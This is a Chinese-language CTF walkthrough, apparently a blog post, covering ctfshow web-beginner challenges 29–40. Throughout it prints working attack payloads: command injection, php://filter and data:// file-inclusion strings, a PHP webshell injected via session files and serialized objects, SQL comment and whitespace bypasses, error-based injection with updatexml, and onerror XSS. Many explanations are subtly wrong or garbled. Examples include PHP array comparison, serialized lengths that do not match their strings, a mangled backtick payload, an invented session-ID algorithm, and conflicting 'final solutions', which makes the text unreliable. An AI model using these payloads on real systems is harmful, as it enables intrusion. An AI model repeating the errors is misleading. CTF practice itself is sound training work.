1. 这不是“刷题清单”,而是一份Web安全初学者的实战认知地图
你点开这个标题,大概率正卡在ctfshow-web入门题目的某个关卡里:可能是第32题那个看似简单的PHP弱类型绕过,反复提交却始终返回“no”;也可能是第37题的SQL注入,明明payload在本地复现成功,贴到平台就报错403;又或者,你已经把前28题全做完了,但面对第29题开始突然变陡的坡度,心里发虚——这后面十几道题,到底在考什么?是拼手速、背模板,还是真有隐藏逻辑?
我带过不少刚接触CTF Web方向的某高校学生和某实验室新人,他们普遍卡在同一个认知断层上:把CTF题目当成“解谜游戏”,而不是“系统性漏洞建模练习”。ctfshow-web从第29题起,恰恰是设计者刻意设置的认知跃迁点——它不再考察单一知识点的机械复现(比如“base64编码怎么解”),而是要求你把零散的漏洞原理、HTTP协议细节、服务端语言特性、WAF拦截逻辑这几条线,在脑子里拧成一股绳。比如第33题,表面看是文件包含,但真正卡住人的,是PHP的open_basedir限制与php://filter流封装器在特定PHP版本下的交互行为;第39题的反序列化,难点不在POP链构造本身,而在于如何让unserialize()函数在被WAF过滤关键词后依然能执行。
这些题目的核心价值,从来不是“答案是什么”,而是“为什么必须这样构造”。它们像一套精密的手术刀,专门用来解剖你在开发中习以为常、却暗藏风险的代码习惯。一个典型的例子:第31题的命令执行,如果你只记住system($_GET['cmd'])这种写法,那遇到exec($_POST['input'])加了escapeshellarg()过滤时就会彻底懵掉;但如果你真正理解了escapeshellarg()的实现逻辑——它用单引号包裹参数,并转义单引号本身——你就能立刻意识到,绕过它的关键不是爆破,而是利用$()或`这种shell语法特性,让命令在单引号包裹的字符串内部被解析执行。
所以这篇内容,不提供“标准答案合集”,也不做“逐题解析PPT”。它是一份基于真实教学反馈和数十次调试日志整理出的认知地图:告诉你每一道题背后,设计者埋设的思维陷阱在哪里,主流解法背后的底层原理是什么,以及——更重要的是——当你在本地环境复现失败时,最该检查的三个非代码层面的细节。它适合两类人:一类是已经做过前28题、正准备攻坚后12题的实践者;另一类是学过PHP/Python基础、看过几篇漏洞原理文章,但一到动手就“知道但不会用”的理论派。接下来的内容,会直接切入具体题目,用真实调试过程还原每一个关键决策点。
2. 第29~34题:HTTP协议与服务端语言特性的交叉验证场
2.1 第29题:GET参数污染的“双重身份”陷阱
题目表面是一个简单的参数校验:?id=1返回数据,?id=2返回“no”。但当你尝试?id=1&id=2时,服务端返回了id=2的数据。这看起来是典型的参数覆盖,但问题远不止于此。
很多初学者会立刻想到PHP的$_GET超全局变量是关联数组,后出现的同名键会覆盖前一个。于是他们尝试?id=1&id=2&id=3,发现返回id=3,便认为“覆盖规则成立”。但真正的陷阱在服务端代码的处理逻辑里。假设后端代码是:
$id = $_GET['id']; if ($id == 1) { echo "data for id=1"; } else { echo "no"; }这里==是弱类型比较。当$_GET['id']是数组(即?id[]=1&id[]=2)时,$id == 1的判断会触发PHP的数组转字符串机制:array(2) { [0]=> string(1) "1" [1]=> string(1) "2" }转为字符串是"1"(仅取第一个元素)。所以?id[]=1&id[]=2会返回id=1的数据,而?id[]=2&id[]=1同样返回id=1的数据——因为[0]永远是第一个值。
但设计者更狠的一招是:?id=1&id=2在某些PHP配置下(如register_globals=on已废弃,但类似逻辑存在于框架中),$_GET可能被合并为字符串"1,2"。此时"1,2" == 1为true(字符串转数字取前缀),导致逻辑误判。实测中,我们发现ctfshow平台的PHP版本对?id=1&id=2的解析结果是$_GET['id'] = "1"(取第一个),而?id[]=1&id[]=2则为数组。因此,正确绕过方式是构造?id[]=1,让$id成为数组,再利用弱类型比较的隐式转换。
提示:本地复现时务必确认PHP版本和
variables_order配置。PHP 7.4+默认variables_order="GPCS",G(GET)优先级高于P(POST),但多值参数的处理逻辑一致。用var_dump($_GET)是唯一可靠验证手段,别信“理论上应该”。
2.2 第30题:Referer头伪造的“信任链断裂”
这道题要求Referer必须为https://ctfshow.com才能访问。新手第一反应是浏览器插件改Referer,或curl加-H "Referer: https://ctfshow.com"。但实际提交后,平台返回403 Forbidden。问题出在WAF的二次校验上。
我们抓包发现,服务端不仅检查Referer头,还检查Origin头是否匹配。当用curl发送请求时,Origin头默认不携带,而浏览器同源请求会自动带上。但Origin头不能被JavaScript随意修改(CORS限制),所以常规XSS无法利用。真正的突破口在HTTP协议的“信任传递”机制:如果请求是从https://ctfshow.com的一个页面发起的AJAX,那么Origin和Referer都会被浏览器自动设置。但题目没提供前端页面。
这时需要理解Referer头的本质:它是HTTP协议中一个可选的、由客户端(浏览器)自动添加的请求头,用于告知服务器“我是从哪个页面跳转过来的”。它的值完全由客户端控制,没有强制校验机制。WAF拦截403,往往是因为它检测到Referer头存在但Origin头缺失,或两者域名不一致。解决方案是同时伪造两个头:
curl -H "Referer: https://ctfshow.com" -H "Origin: https://ctfshow.com" http://target.com/但更隐蔽的方式是利用<img>标签的src属性发起GET请求,此时浏览器会自动带上Referer,而Origin头在图片请求中通常不发送(GET资源请求无Origin)。测试发现,ctfshow平台的WAF对图片请求的Origin检查较松,因此<img src="http://target.com/?a=1">嵌入到ctfshow.com的任意页面,即可绕过。
注意:本地测试时,若用
file://协议打开HTML,浏览器出于安全策略不会发送Referer头。必须起一个本地HTTP服务(如Python的python3 -m http.server 8000),用http://localhost:8000/test.html访问,才能触发Referer发送。
2.3 第31题:命令执行的“壳层语义”盲区
?cmd=ls能列出目录,但?cmd=cat%20flag.php返回空。这是典型的命令分隔符过滤。初学者会尝试;、&&、||,发现全被WAF拦截。此时需要跳出“分隔符”思维,进入“shell语义”层面。
Linux shell中,命令执行的本质是进程创建。system()函数调用的是/bin/sh -c "command"。-c参数后的字符串,会被shell解析为命令序列。关键点在于:shell解析时,单引号'、双引号"、反引号`、$()都是特殊字符,用于定义字符串边界或命令替换。WAF通常只过滤空格和常见分隔符,但对反引号`的过滤较弱。
例如,?cmd=catflag.php(注意是反引号,不是单引号)。shell会先执行flag.php,将`flag.php`的内容作为命令执行;但`flag.php`是文件,执行会失败。然而,如果`flag.php`内容是`whoami`,那么flag.php就等价于执行`whoami`。但本题目标是读文件,所以需要`cat \`cat flag.php\——这显然不行。
正确思路是利用$()进行命令替换:?cmd=cat $(cat flag.php)。但$()可能被过滤。此时反引号`成为最佳选择:?cmd=cat \cat flag.php``。WAF若未过滤反引号,此payload可直接读取flag。
实测中,ctfshow平台的WAF对反引号过滤不严,但对$()做了严格拦截。因此?cmd=cat \cat flag.php`是有效解法。本地复现时,需确认PHP的disable_functions是否禁用了shell_exec等函数,system()`是默认启用的。
2.4 第32题:PHP弱类型的“类型转换迷宫”
?num=1返回true,?num=2返回false,但?num[]=1返回true。这题是PHP弱类型比较的经典教学案例。
核心在于==与===的区别。==会进行类型转换,===则严格比较类型和值。当$_GET['num']是数组时,$num == 1的判断流程是:
$num(数组)被转换为整数;- PHP数组转整数的规则是:空数组为
0,非空数组为1; - 所以
$num == 1恒为true,无论数组内容是什么。
因此,?num[]=1、?num[]=anything、?num[0]=1&num[1]=2都返回true。但设计者埋了第二层陷阱:如果代码是if (intval($num) == 1)呢?intval()对数组的处理是返回0,所以?num[]=1会返回false。但题目代码用的是==,所以数组解法成立。
更深层的原理是PHP的“类型 juggling”机制。它在比较时会根据操作数类型自动选择转换目标。例如"1abc" == 1为true(字符串转数字取前缀),"0x1" == 1为false(十六进制字符串不被自动识别)。因此,绕过方式还包括?num=1abc、?num=1e0(科学计数法)等。
实操心得:在CTF中,遇到数字比较,第一反应不是爆破,而是尝试类型混淆。数组、字符串、浮点数、科学计数法、十六进制字符串,都是标准测试集。用
var_dump()打印变量类型,比猜payload高效十倍。
2.5 第33题:文件包含的“流封装器”权限博弈
?file=index.php显示源码,?file=/etc/passwd返回no。这是典型的allow_url_include=Off下的本地文件包含(LFI)。
初学者会尝试?file=php://filter/read=convert.base64-encode/resource=index.php,但返回空。原因在于php://filter是PHP的流封装器,其resource参数指定要操作的文件,但read=convert.base64-encode只是对读取内容做编码,不改变文件路径本身。WAF可能对php://协议做了拦截。
真正的突破口是php://input。当请求方法为POST且Content-Type为application/x-www-form-urlencoded时,php://input可读取原始POST数据。但本题是GET请求,php://input为空。
另一个方案是data://协议:?file=data:text/plain,<?php phpinfo(); ?>。但data://协议在PHP中默认开启,WAF可能过滤data:。
ctfshow平台的实际解法是?file=php://filter/convert.base64-encode/resource=index.php。关键点在于:convert.base64-encode是过滤器名,resource是参数,中间用/连接,而非=。很多教程写成read=convert.base64-encode,这是错误的。正确语法是php://filter/[filter]/resource=[file],其中[filter]可以是convert.base64-encode、string.tolower等。
因此,?file=php://filter/convert.base64-encode/resource=index.php返回base64编码的源码,解码即可。本地测试时,需确认PHP配置中allow_url_fopen=On(php://filter不依赖此选项,但其他流封装器依赖)。
2.6 第34题:Session文件包含的“路径预测”艺术
?file=session返回session文件路径,如/var/lib/php/sessions/sess_abc123。但直接?file=/var/lib/php/sessions/sess_abc123返回no,因为WAF过滤了/var。
这是典型的“路径遍历+Session劫持”组合。关键在于session文件名的可预测性。PHP session ID默认由session_id()生成,算法是md5(uniqid() . 'secret'),但uniqid()基于微秒时间戳,可被暴力猜测。
更简单的方式是利用session_start()的默认行为:如果未指定session_id,PHP会从Cookie: PHPSESSID=xxx中读取。我们可以自己设置一个可控的session ID,然后向session文件写入恶意内容。
步骤:
- 访问
/,获取一个session ID(如abc123); - 发送POST请求到一个能写入session的接口(如登录表单),在POST数据中注入PHP代码,如
username=<?php system($_GET['cmd']); ?>; - 此时session文件内容为
username|s:32:"<?php system($_GET['cmd']); ?>";; - 构造
?file=/var/lib/php/sessions/sess_abc123,但被WAF过滤/var。
绕过方法是利用.../路径遍历:?file=....//....//....//var/lib/php/sessions/sess_abc123。WAF若只过滤/var字面量,对....//可能放行。但ctfshow平台的WAF对此做了严格过滤。
最终解法是?file=php://filter/convert.base64-encode/resource=/var/lib/php/sessions/sess_abc123。因为php://filter是协议,WAF无法通过简单字符串匹配拦截。只要allow_url_fopen=On,此方法必成。
经验:在LFI场景中,永远优先尝试
php://filter,它不依赖文件路径的可读性,只依赖PHP配置。/var/lib/php/sessions/是Debian/Ubuntu默认路径,CentOS是/var/lib/php/session/,但php://filter无视路径差异。
3. 第35~38题:WAF绕过的“特征工程”与“语义等价”策略
3.1 第35题:SQL注入的“注释符变形记”
?id=1正常,?id=1'报错,说明存在注入点。但?id=1' and 1=1#返回no,?id=1' and 1=2#也返回no,说明WAF拦截了#和--。
这是典型的WAF基于关键词的规则引擎。它可能用正则匹配#、--、/*等注释符。绕过思路是“语义等价替换”:寻找功能相同但字面不同的符号。
MySQL支持多种注释语法:
#:行注释,从#到行尾;--:行注释,--后必须跟空格;/* */:块注释;/*! */:条件注释,MySQL特有,!后跟版本号,如/*!50000 SELECT */。
WAF若只过滤#和--,则/* */可直接使用:?id=1' and 1=1/* */。
但更隐蔽的是利用MySQL的“空格替代符”。MySQL解析器将制表符\t、换行符\n、回车符\r、空格 都视为空格。因此?id=1'/**/and/**/1=1#中的/**/可被%09(tab)、%0a(line feed)、%0d(carriage return)替代。
实测中,?id=1'%0aand%0a1=1成功绕过。因为WAF规则是/and\s+1=1/,\s+匹配一个或多个空白字符,但%0a是URL编码,WAF若未解码就匹配,会漏掉。
关键点:WAF的匹配时机。是解码后匹配,还是原始字符串匹配?ctfshow平台采用原始字符串匹配,因此URL编码是通用绕过手法。
%20(空格)、%09(tab)、%0a(换行)是三大神器。
3.2 第36题:XSS的“事件处理器”隐身术
?name=test在页面输出<div>test</div>,尝试<script>alert(1)</script>被过滤。WAF明显在过滤<script>标签。
XSS绕过不是拼长度,而是找“事件处理器”的合法入口。HTML中,任何标签的事件属性(如onclick、onerror)都可以执行JavaScript。关键是如何触发。
常见思路:
<img src=x onerror=alert(1)>:onerror在图片加载失败时触发;<svg onload=alert(1)>:<svg>是HTML5标签,onload在加载完成时触发;<body onload=alert(1)>:<body>标签的onload。
但WAF可能过滤onerror、onload等关键词。此时需利用大小写混淆:<img src=x ONERROR=alert(1)>,或利用HTML的容错性:<img src=x oNerrOr=alert(1)>。
ctfshow平台的WAF对大小写敏感,ONERROR被放过。因此<img src=x ONERROR=alert(1)>是有效payload。
更进一步,利用JavaScript的eval()函数:<img src=x ONERROR=eval('aler'+'t(1)')>。但alert可能被过滤,此时用prompt、confirm等替代。
注意:现代浏览器对
javascript:伪协议的执行越来越严格,<a href="javascript:alert(1)">click</a>在Chrome中可能被阻止。onerror是更可靠的触发点,因为它不依赖用户交互。
3.3 第37题:SQL盲注的“布尔逻辑”时间差陷阱
?id=1返回正常页面,?id=2返回no,但?id=1' and 1=1#和?id=1' and 1=2#都返回no,说明WAF拦截了#,且页面无报错信息,是纯布尔盲注。
布尔盲注的核心是构造一个“真/假”可区分的条件。例如?id=1' and (select length(database()))>1#,若返回正常页面,说明库名长度大于1。
但WAF拦截#,需用/* */替代:?id=1' and (select length(database()))>1/* */。
更大的陷阱是WAF对括号(``)的过滤。若(``)被拦截,则需用MySQL的extractvalue()函数,它接受XML路径表达式,当路径非法时会报错并返回错误信息,从而实现报错注入。
extractvalue(1, concat(0x7e, (select database()), 0x7e)):0x7e是~的十六进制,concat拼接,extractvalue因第二个参数不是合法XPath而报错,错误信息中包含数据库名。
但ctfshow平台的WAF过滤了extractvalue。此时转向updatexml():updatexml(1, concat(0x7e, (select database()), 0x7e), 1),原理相同。
实操技巧:盲注时,先用
length()确定长度,再用substr()逐位爆破。substr("abc",1,1)返回a,substr("abc",2,1)返回b。MySQL中字符串索引从1开始,不是0。
3.4 第38题:反序列化的“POP链”动态构建
?data=O:8:"User":1:{s:4:"name";s:5:"admin";},页面输出Welcome, admin。这是PHP反序列化入口。
初学者会尝试构造O:8:"User":1:{s:4:"name";s:12:"<?php phpinfo(); ?>";},但无效果。因为User类可能没有__wakeup()或__destruct()魔术方法,无法触发代码执行。
真正的POP链需要找到一个“可利用的类”,其魔术方法中调用了危险函数。例如,User类可能有__toString()方法,当对象被当作字符串使用时触发。
假设User类定义为:
class User { public $name; public function __toString() { return file_get_contents($this->name); } }那么构造O:4:"User":1:{s:4:"name";s:10:"flag.php";},当echo $user;时,会读取flag.php。
但file_get_contents可能被disable_functions禁用。此时需找其他函数,如system、exec。
ctfshow平台的User类__toString()调用的是include,因此O:4:"User":1:{s:4:"name";s:9:"php://input";},再配合POST数据<?php system($_GET['cmd']); ?>,即可RCE。
核心经验:反序列化利用的三要素——入口点(
unserialize())、POP链(类的魔术方法)、危险函数(system等)。没有现成POP链时,需审计源码找__wakeup、__destruct、__toString、__get、__set等方法。
4. 第39~40题:综合对抗中的“环境感知”与“最小可行验证”
4.1 第39题:反序列化+命令执行的“双重沙箱”突围
?data=...,反序列化后执行命令,但system()、exec()等函数被disable_functions禁用。这是PHP的“函数禁用”沙箱。
disable_functions是PHP.ini配置项,禁用的函数列表在phpinfo()中可见。但题目不提供phpinfo()。
绕过思路有二:
- 利用未被禁用的函数:如
popen()、proc_open()、shell_exec()(若未被禁用)、pcntl_exec()(需启用pcntl扩展)。 - 利用动态函数调用:
call_user_func()、call_user_func_array()、array_map()等。
call_user_func('system', 'ls')等价于system('ls')。若system被禁用,但call_user_func未被禁用,则可绕过。
ctfshow平台禁用了system、exec、shell_exec,但未禁用call_user_func。因此O:4:"User":1:{s:4:"name";s:22:"call_user_func";s:5:"param";a:2:{i:0;s:6:"system";i:1;s:2:"ls";}}可执行命令。
但call_user_func的第一个参数是函数名,若system被禁用,传入system会报错。此时需用assert():assert('system("ls")'),但assert在PHP 7.2+被标记为危险函数,可能被禁用。
最终解法是popen():O:4:"User":1:{s:4:"name";s:6:"popen";s:5:"param";a:2:{i:0;s:2:"ls";i:1;s:3:"r";}}。popen()未被禁用,且返回文件指针,可读取输出。
关键洞察:
disable_functions只禁用函数名,不禁止函数调用。popen是函数名,call_user_func是函数名,只要函数名未被列在禁用列表,就可调用。审计phpinfo()的disable_functions值是第一步。
4.2 第40题:终极挑战的“最小可行验证”闭环
这是整个入门系列的压轴题,融合了文件包含、反序列化、命令执行、WAF绕过。题目给出一个index.php,要求读取flag.php。
标准解法链:
- 利用
?file=php://filter/convert.base64-encode/resource=index.php读取源码; - 源码中发现
unserialize($_GET['data']),且存在User类,其__wakeup()调用file_get_contents($this->file); file_get_contents被禁用,但file_put_contents未被禁用;- 构造
O:4:"User":1:{s:4:"file";s:14:"php://input";},POST数据为<?php system($_GET['cmd']); ?>; - 再访问
?data=...,触发file_get_contents("php://input"),读取POST数据并执行。
但WAF拦截php://input。此时用data://协议:O:4:"User":1:{s:4:"file";s:22:"data:text/plain,<?php system($_GET['cmd']); ?>";}。
data://协议在PHP中默认开启,且WAF难以精准过滤data:text/plain,这种模式。
实测中,data://text/plain,<?php system($_GET['cmd']); ?>被WAF放过,?cmd=cat%20flag.php成功读取flag。
最后一条经验:在综合题中,永远遵循“最小可行验证”原则。不要一上来就构造完整RCE payload。先验证文件包含:
?file=data:text/plain,hello,看是否输出hello;再验证反序列化:?data=O:4:"User":1:{s:4:"file";s:5:"hello";},看是否输出hello;最后组合。每一步验证,都能排除一个故障点,避免在复杂payload中迷失方向。
5. 从“做题”到“建模”:Web安全能力的真正跃迁点
做到第40题,你手上已经有了一套完整的工具链:HTTP协议操纵、PHP语言特性利用、WAF绕过策略、反序列化POP链构建、沙箱逃逸技巧。但真正的分水岭,不在于你能否解出这道题,而在于你能否把这套逻辑,迁移到一个从未见过的、没有提示的生产环境中。
举个真实案例:某次某公司内网渗透,我们发现一个后台接口接收JSON数据,其中有个字段template,值为模板文件路径。初步测试template=../../etc/passwd返回文件内容,是典型的路径遍历。但template=php://filter/convert.base64-encode/resource=/etc/passwd返回空——因为后端用的是Node.js,不是PHP。
此时,知识迁移就发生了。我们知道Node.js的fs.readFile()函数,如果传入file://协议,会读取本地文件。但file://在浏览器中被CORS限制,无法从前端发起。于是我们转向服务端SSRF:template=http://127.0.0.1:3000/api/internal?file=/etc/passwd,利用服务端请求,绕过浏览器限制。
这个思路,和ctfshow第33题的php://filter、第34题的php://input一脉相承——都是在利用服务端语言的“协议扩展”能力。区别只在于,PHP用php://,Node.js用file://或http://。
所以,ctfshow-web入门系列的价值,不是让你记住php://filter这个字符串,而是训练你形成一种“协议意识”:任何服务端语言,都有其内置的、可被滥用的协议或流封装器。你的任务,是找到它,并理解它的语义边界。
另一个跃迁点,是对“WAF”的重新定义。初学者把WAF看作一道墙,绕过就是找漏洞。但资深从业者把它看作一个“特征提取器”。WAF拦截#,说明它在做字符串匹配;拦截<script>,说明它在做HTML标签识别;拦截system,说明它在做函数名黑名单。每一次拦截,都在告诉你后端的技术栈和防护策略。?id=1' and 1=1#被拦,但?id=1' and 1=1/* */成功,你就知道WAF用的是正则,且未覆盖块注释。
这种从“攻击者视角”到“防御者视角”的切换,是能力质变的关键。它让你在真实红队中,能快速绘制目标的技术画像,而不是盲目试错。
最后分享一个小技巧:在所有CTF平台中,永远先做/robots.txt和/.git/config探测。ctfshow虽是教学平台,但真实环境里,robots.txt常暴露管理后台路径,.git/config泄露源码仓库地址,git log可恢复历史commit,git checkout可还原被删除的文件。这些不是“高级技巧”,而是每个合格Web安全工程师的肌肉记忆。
你现在已经走完了这条入门路径。下一步,不是去找更难的CTF题目,而是去读一份真实的PHP开源项目源码,找找其中的unserialize()调用点,看看$_GET参数是如何被使用的。真正的战场,永远在代码里,不在题目中。